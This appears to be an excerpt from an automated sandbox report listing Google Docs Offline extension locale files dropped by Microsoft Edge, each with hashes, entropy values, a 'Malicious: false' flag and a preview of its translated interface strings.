Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

